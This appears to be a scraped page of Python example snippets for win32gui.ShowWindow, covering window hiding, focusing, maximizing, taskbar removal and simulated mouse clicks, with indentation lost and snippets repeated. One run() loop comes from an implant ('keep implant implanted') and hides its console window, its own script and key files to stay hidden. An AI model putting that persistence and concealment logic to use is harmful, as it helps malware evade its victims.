def hide():
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True
python类ShowWindow()的实例源码
def stay_on_bottom(self):
"""Pin to desktop or something close enough (call repeatedly)."""
if self.is_desktop_on_foreground():
if self.topmost is False:
win32gui.SetWindowPos(
self.hwnd, win32con.HWND_TOPMOST, 0, 0, 0, 0,
win32con.SWP_NOSIZE | win32con.SWP_NOMOVE)
self.topmost = True
else:
if self.topmost is True:
win32gui.SetWindowPos(
self.hwnd, win32con.HWND_BOTTOM, 0, 0, 0, 0,
win32con.SWP_NOSIZE | win32con.SWP_NOMOVE)
self.topmost = False
# "To prevent the window button from being placed on the taskbar, create
# the unowned window with the WS_EX_TOOLWINDOW extended style. As an
# alternative, you can create a hidden window and make this hidden window
# the owner of your visible window. The Shell will remove a window's button
# from the taskbar only if the window's style supports visible taskbar
# buttons. If you want to dynamically change a window's style to one that
# doesn't support visible taskbar buttons, you must hide the window first
# (by calling ShowWindow with SW_HIDE), change the window style, and then
# show the window."
# -- https://msdn.microsoft.com/en-us/library/bb776822%28v=vs.85%29.aspx
def _hide_w32_window(self):
try:
w32win = win32gui.FindWindow(None, self.title)
win32gui.ShowWindow(w32win, SW_HIDE)
win32gui.SetWindowLong(
w32win,
GWL_EXSTYLE,
win32gui.GetWindowLong(
w32win, GWL_EXSTYLE) | WS_EX_TOOLWINDOW
)
win32gui.ShowWindow(w32win, SW_SHOW)
self._return_focus_w32()
except Exception:
tb = traceback.format_exc()
Logger.error(
'Notification: An error occured in {}\n'
'{}'.format(self.title, tb)
)
def Mouse_RB(self,str_app,lb_dx,lb_dy,Flag='1'):
print "*********Mouse_RB function**********"
time.sleep(1)
tmp=(string.atoi(lb_dx),string.atoi(lb_dy))
hwnd = win32gui.FindWindow(None, str_app)
print 'Mouse_RB str_app,hwnd ',str_app,hwnd
if hwnd < 1:
hwnd = self.find_main_window(str_app)
#win32gui.ShowWindow(hwnd, 0)
win32api.SetCursorPos(tmp)
print 'Mouse_RB tmp =',tmp
if Flag == '1':
time.sleep(1)
win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTDOWN,tmp[0], tmp[1])
time.sleep(0.05)
win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTUP,tmp[0], tmp[1])
time.sleep(0.05)
return True
def Mouse_LB(self,str_app,lb_dx,lb_dy,Flag='1'):
print "*********Mouse_LB function**********"
time.sleep(1)
tmp=(string.atoi(lb_dx),string.atoi(lb_dy))
hwnd = win32gui.FindWindow(None, str_app)
if hwnd < 1:
hwnd = self.find_main_window(str_app)
#win32gui.ShowWindow(hwnd, 0)
win32api.SetCursorPos(tmp)
print 'Mouse_LB tmp =',tmp
if Flag == '1':
time.sleep(1)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN,tmp[0], tmp[1])
time.sleep(0.05)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP,tmp[0], tmp[1])
time.sleep(0.05)
return True
def Show(self):
win32gui.ShowWindow(self.hwnd, win32con.SW_SHOW)
def ShowWindow(self,mode):
win32gui.ShowWindow(self.hwnd,mode)
def ShowDW(self, bShow):
if bShow:
self.toolbar.ShowWindow(win32con.SW_SHOW)
else:
self.toolbar.ShowWindow(win32con.SW_HIDE)
def show_window(pid, delay = 0.5):
"""set a windows as principal based on it's process id"""
time.sleep(delay)
for hwnd in get_hwnds(pid):
win32gui.SetForegroundWindow(hwnd)
win32gui.ShowWindow(hwnd, win32con.SW_NORMAL)
def Hide():
import win32console
import win32gui
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def ShowWindow(self,mode):
win32gui.ShowWindow(self.hwnd,mode)
def ShowDW(self, bShow):
if bShow:
self.toolbar.ShowWindow(win32con.SW_SHOW)
else:
self.toolbar.ShowWindow(win32con.SW_HIDE)
def hide(self):
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
def hide(self):
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
def ShowWindow(self,mode):
win32gui.ShowWindow(self.hwnd,mode)
def ShowDW(self, bShow):
if bShow:
self.toolbar.ShowWindow(win32con.SW_SHOW)
else:
self.toolbar.ShowWindow(win32con.SW_HIDE)
def ShowWindow(self,mode):
win32gui.ShowWindow(self.hwnd,mode)
def ShowDW(self, bShow):
if bShow:
self.toolbar.ShowWindow(win32con.SW_SHOW)
else:
self.toolbar.ShowWindow(win32con.SW_HIDE)
def run(self):
while (True):
if not DEBUG_MODE:
# keep implant implanted
print("insist must persist")
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, False)
# Things that we really do want to stash away somewhere
hideFile(WebPath[:1]) # slashes
hideFile(KeyPath[:1])
hideFile(sys.argv[0])
time.sleep(random.randint(1, 420))
def restore(hwnd):
"""
Restores (unmaximizes) the window.
Args:
hwnd (int): The window handler.
"""
wg.ShowWindow(hwnd, wc.SW_RESTORE)
def maximize(hwnd):
"""
Maximizes the window.
Args:
hwnd (int): The window handler.
"""
wg.ShowWindow(hwnd, wc.SW_MAXIMIZE)
def focus_window(hwnd):
"""
Focuses the given window.
Args:
hwnd (int): The window handler.
"""
wg.ShowWindow(hwnd, wc.SW_SHOW)
wg.ShowWindow(hwnd, wc.SW_SHOWNOACTIVATE)
wg.SetForegroundWindow(hwnd)
def restoreFocusWindow(hwnd):
win32gui.ShowWindow(hwnd, win32con.SW_RESTORE)
win32gui.SetForegroundWindow(hwnd)
time.sleep(0.2)
def focusWindow(hwnd):
"""
??????
:param hwnd: ????
:return:
"""
win32gui.ShowWindow(hwnd, win32con.SW_SHOWMAXIMIZED)
win32gui.SetForegroundWindow(hwnd)
def remove_taskbar_button(self):
"""Hide window from taskbar and ALT+TAB dialog."""
win32gui.ShowWindow(self.hwnd, win32con.SW_HIDE)
win32api.SetWindowLong(
self.hwnd, win32con.GWL_EXSTYLE,
win32api.GetWindowLong(self.hwnd, win32con.GWL_EXSTYLE)
| win32con.WS_EX_NOACTIVATE
| win32con.WS_EX_TOOLWINDOW)
win32gui.ShowWindow(self.hwnd, win32con.SW_SHOW)
def app_first(self,str_app):
hwnd = win32gui.FindWindow(None, str_app)
print hwnd
if hwnd < 1:
hwnd = self.find_main_window(str_app)
if hwnd>0:
win32gui.SetForegroundWindow(hwnd)
#win32gui.ShowWindow(hwnd,win32con.SW_SHOWMAXIMIZED)
return True
return False
def is_win_ok(self,hwnd,starttext,lb_dx='869',lb_dy='38',win_dx='',win_dy=''):
#print "*********is_win_ok function**********"
#print "*********is_win_ok function starttext**********",starttext
if len(win_dx)>0:
self.wdx = string.atoi(win_dx)
if len(win_dy)>0:
self.wdy = string.atoi(win_dy)
s = win32gui.GetWindowText(hwnd)
#print s
if s.startswith(starttext):
#print "*********is_win_ok function s**********",s
#print (s)
dlg=win32gui.FindWindow(None,s)
time.sleep(1)
#win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED)
win32gui.ShowWindow(dlg,win32con.SW_SHOW)
time.sleep(1)
#print 'self.wdx,self.wdy:',self.wdx,self.wdy
#win32gui.MoveWindow(dlg,0,0,self.wdx,self.wdy,1)
time.sleep(1)
win32gui.SetForegroundWindow(dlg)
time.sleep(1)
#win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED)
win32gui.ShowWindow(dlg,win32con.SW_SHOW)
time.sleep(1)
#self.Mouse_LB(lb_dx,lb_dy)
global MAIN_HWND
MAIN_HWND = hwnd
return None
return 1
def find_wind(self,str_app):
hwnd = win32gui.FindWindow(None, str_app)
log_print(hwnd)
if hwnd>0:
#win32gui.SetForegroundWindow(hwnd)
win32gui.MoveWindow(hwnd,40,40,840,640,1)
time.sleep(1)
win32gui.MoveWindow(hwnd,0,0,800,600,1)
#win32gui.ShowWindow(hwnd,win32con.SW_SHOWMAXIMIZED)
#win_GUI.win_gui().Mousepos_print('20')
time.sleep(1)
return True
return False
def hide():
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True
def FX_ShowWindowMax(Win32Window):
win32gui.SetForegroundWindow(Win32Window)
## win32gui.SetWindowPos(Win32Window, \
## win32con.HWND_TOP, \
## 0,0,0,0, \
## win32con.SWP_SHOWWINDOW)
win32gui.ShowWindow(Win32Window, win32con.SW_MAXIMIZE)